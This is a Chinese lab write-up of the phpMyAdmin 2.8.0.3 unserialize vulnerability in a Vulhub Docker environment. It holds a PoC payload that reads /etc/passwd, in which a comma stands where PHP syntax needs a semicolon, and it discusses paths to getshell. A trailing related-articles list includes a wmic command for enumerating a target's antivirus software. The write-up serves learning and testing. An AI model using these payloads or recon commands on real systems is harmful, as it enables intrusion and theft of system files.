[Vulhub](WooYun-2016-199433)phpmyadmin反序列化漏洞

0x00 预备知识

什么是序列化

  • 序列化 (serialize)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。【将状态信息保存为字符串】
  • 简单的理解:将PHP中 对象、类、数组、变量、匿名函数等,转化为字符串,方便保存到数据库或者文件中
  • 当在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,保存对象的值方便之后的传递与使用。

什么是反序列化

  • 序列化就是将对象的状态信息转为字符串储存起来,那么反序列化就是再将这个状态信息拿出来使用。(重新再转化为对象或者其他的)【将字符串转化为状态信息】
  • 与 serialize() 对应的,unserialize()可以从已存储的表示中创建PHP的值

反序列化漏洞

  • 本质上serialize()和unserialize()在PHP内部实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。
  • 当传给 unserialize() 的参数可控时,那么用户就可以注入精心构造的payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。

魔术方法

php中有一类特殊的方法叫“Magic function”(魔术方法), 这里我们着重关注一下几个:

  • __construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。(构造函数)
  • __destruct():当对象被销毁时会自动调用。(析构函数)
  • __wakeup():如前所提,unserialize()时会自动调用。
  • __toString():方法用于一个类被当成字符串时应怎样回应。例如 echo $obj;应该显示些什么。

0x01 环境搭建

漏洞环境:https://vulhub.org/#/environments/phpmyadmin/WooYun-2016-199433/
启动环境

sudo docker-compose up
  • 1

在这里插入图片描述
查看当前运行漏洞环境

sudo docker ps
  • 1

在这里插入图片描述
本地访问没问题,环境搭建成功(因为没有连接到数据库,我们将得到一个错误。但此漏洞与数据库无关,因此请忽略)
在这里插入图片描述


0x02 影响范围

phpmyadmin 2.8.0.3


0x03 漏洞成因

通过 exec 命令对指定的容器执行 bash然后查看源码:

sudo docker exec -it 53b9559d9612 /bin/bash
  • 1

在这里插入图片描述
也可以下载到本地查看,更方便:

sudo docker cp 53b9559d9612:/var/www/html/libraries /home/vulhub/pma
  • 1

查看存在漏洞的文件代码 /scripts/setup.php
在这里插入图片描述

发现当configuration传参存在且action传参不为’clear’时,将传入的connfiguration给反序列化;而setup.php中又引入了common.lib.php,接下来查看common.lib.php:
在这里插入图片描述
common.lib.php中又引入了Config.class.php,接下来看Config.class.php:
在这里插入图片描述
Config.class.php中含有__wakeup()魔术方法,因此可以构造序列化参数,其中又调用了load()方法,接下来继续看load方法:
在这里插入图片描述
整体思路就是:

setup.php -> common.lib.php -> Config.class.php -> __wakeup() -> load() -> eval();
  • 1

0x04 漏洞复现

构造payload修改source的值后得到的序列化值作为configuration的传参,就可以输出任意文件内容
poc:

configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}&action=test
  • 1

注意需要满足两个条件:1. POST请求方法;2. action的传参不为clear:
在这里插入图片描述
复现结束后别忘了关闭docker容器:

docker-compose down
  • 1

在这里插入图片描述

经过分析这个漏洞是不能读取php文件的,而因为又了eval()函数,相当于任意文件包含了。getshell需要包含上传的木马文件,也可以包含日志。但docker环境中并未开启日志功能,也没有上传点,因此getshell比较困难。

在Ubuntu下一般不允许root权限运行,无法读取access.log。在windows下几乎所有浏览器和python模块都会将特殊字符编码进行转换,getshell就更困难了,只能用socket去构造shell,参考下面这篇文章:
https://docs.ioin.in/writeup/www.mottoin.com/4cb63e7c-9151-42da-a5bd-e6e29e7ff2f8/index.html(pma任意文件包含导致代码执行)


参考链接:
https://docs.ioin.in/writeup/www.mottoin.com/4cb63e7c-9151-42da-a5bd-e6e29e7ff2f8/index.html(pma任意文件包含导致代码执行)
https://www.cnblogs.com/ichunqiu/p/10484832.html(PHP反序列化漏洞利用总结)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358371.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

用户指南接口

在AppDelegate在代码 视图控制器里的 版权声明:本文博客原创文章。博客,未经同意,不得转载。 转载于:https://www.cnblogs.com/bhlsheji/p/4747547.html

前端面试题之http/HTML/浏览器(二)

csrf和xss的网络攻击及防范?答:CSRF:跨站请求伪造,可以理解为攻击者盗用了用户的身份,以用户的名义发送了恶意请求,比如用户登录了一个网站后,立刻在另一个ta&#xff42…

查看目标主机安装的杀毒软件

命令: wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe 参考链接:https://stackoverflow.com/questions/42472336/is-there-a-command-to-check-if-there-was-any-antivirus-insta…

Netty系列之Netty百万级推送服务设计要点

原文:http://www.infoq.com/cn/articles/netty-million-level-push-service-design-points 1. 背景 1.1. 话题来源 最近很多从事移动互联网和物联网开发的同学给我发邮件或者微博私信我,咨询推送服务相关的问题。问题五花八门,在帮助大家答疑…

上架APPStore需要准备哪些材料?

前端时间用敏捷式开发平台开发了一款APP应用,应用名称我就不说啦,这篇文章主要讲述一下上架苹果应用商店APPStore需要准备哪些材料,有相关的困扰欢迎私信我。一、上架流程1. 注册苹果企业账号2. 创建测试证书,发布证书 (使用Mac)3…

浅谈C++设计模式之工厂方法(Factory Method)

为什么要用设计模式?根本原因是为了代码复用,增加可维护性。 面向对象设计坚持的原则:开闭原则(Open Closed Principle,OCP)、里氏代换原则(Liskov Substitution Principle,LSP&…

上架Android应用到腾讯应用包、百度手机助手、华为应用市场、小米应用商店、阿里应用分发平台需要准备哪些材料?...

前端时间用敏捷式开发平台开发了一款APP应用,应用名称我就不说啦,这篇文章主要讲述一下上架各大安卓应用商店(腾讯应用宝、阿里应用商店、百度手机助手、华为应用市场、小米应用商店)需要准备哪些材料,有相关的困扰欢迎…

【APICloud系列|18】上架Android应用到腾讯应用包、百度手机助手、华为应用市场、小米应用商店、阿里应用分发平台需要准备哪些材料?

前端时间用敏捷式开发平台开发了一款APP应用,应用名称我就不说啦,这篇文章主要讲述一下上架各大安卓应用商店(腾讯应用宝、阿里应用商店、百度手机助手、华为应用市场、小米应用商店)需要准备哪些材料,有相关的困扰欢迎私信我。 一、应用商店选择 推荐平台(六选五) 1.…

Activiti 6中的可插拔持久性

在过去的几年中,我们经常听到(来自社区和我们的客户)关于如何将Activiti的持久性逻辑从关系数据库交换到其他内容的请求。 当我们宣布Activiti 6时, 我们做出的承诺之一就是我们将实现这一目标。 深入研究Activiti引擎代码的人会…

src漏洞类型总结

本文转载于https://blog.csdn.net/qq_33942040/article/details/111831536 这三类存在漏洞可能更大 越他娘丑的站,越有可能存在洞。 Asp aspx 存在漏洞的可能更大 登陆口没得验证码的可能存在一,未授权访问 常见28种服务器或者中间协议未授权访问 易出现处 ①照片…

【APICloud系列|19】上架APPStore需要准备哪些材料?

前端时间用敏捷式开发平台开发了一款APP应用,应用名称我就不说啦,这篇文章主要讲述一下上架苹果应用商店APPStore需要准备哪些材料,有相关的困扰欢迎私信我。 一、上架流程 1. 注册苹果企业账号 2. 创建测试证书,发布证书 (使用Mac) 3. 使用xcode 上传应用到APP Store (…

Json注入

一、Json简介 JSON 是存储和交换文本信息的语法,是轻量级的文本数据交换格式。类似xml,但JSON 比 XML 更小、更快,更易解析。所以现在接口数据传输都采用json方式进行。JSON 文本的 MIME 类型是 “application/json”。 json语法 数据在名…

国行 lg g3 D858 刷 lg g3 D858hk 教程(备忘)

纯手打,转载请注明出处~ 刷机有风险,出现问题概不负责! 本着自娱自乐的宗旨 ,分享一下,出了问题不负责! 准备的材料: 1,手机一枚(废话)国行lg g3 d858 2&am…

渗透测试-验证码的爆破与绕过

【验证码机制原理】 客户端发起请求->服务端响应并创建一个新的SessionID同时生成随机验证码,将验证码和SessionID一并返回给客户端->客户端提交验证码连同SessionID给服务端->服务端验证验证码同时销毁当前会话,返回给客户端结果。 【客户端可…

最近对项目代码做的一些更改和感想

最近对项目代码做了一些更改,主要的改动是对整个界面框架的改变,因为以前写代码的时候,为了完成功能,没有从上帝视角来思考软件的界面设计,完全是需要这个功能了,怎么可以做到?好,就…

CSS常见的四种垂直居中的方法

面试中不管是笔试题还是面试题,一般很容易被问到如何实现垂直水平居中,这里总结四种方法作为参考 (1)margin:auto法 css: div{ width: 400px; height: 400px; position: relative; border: 1px solid #465468; } img{ position: absolute; margin: auto; top: 0; left: 0; …

对安卓应用进行加固签名,为上架各大应用市场做准备

上架安卓各大应用市场之前需要对自己的应用进行签名加固,签名是为了证明你是这个应用的开发者,软著也是一种方式,这是不做介绍,加固是为了从安全角度给安装包加一个保护层,防止被恶意破解及攻击。下面简单介绍一下签名…

大前端最强vscode教程(基础篇)

这段时间入职了一家外包公司的前端工程师岗位,前端编辑器用起来,前端一般会用到几个编译器,VScode、sublime text3、webstorm、Hbuid等,这里主要介绍VScode. 初次使用vscode时各种不适应,所有需要用到的功能貌似都需要单独安装插件才能用。这让很多初次使用vscode的朋友有…

edusrc0day挖掘技巧

网瑞达web资源管理系统0day ps: 作为在edusrc的小白,经常看见大师傅们的刷屏,我也很向往能像大师们一样有一次刷屏的机会,于是有了这一次的渗透之旅。 思路:要想刷屏上分,就得找系统来挖掘,对…

个人或者公司如何写版权认证的证明文件?

项目场景: 现在好多平台都在做知识付费,比如百度文库、CSDN、微博、头条、知乎等等,因此我想给大家做一些付费文档,想上传到百度文库的知识店铺 问题描述: 一般人不知道这个版权认证文件怎么写,怎么弄&am…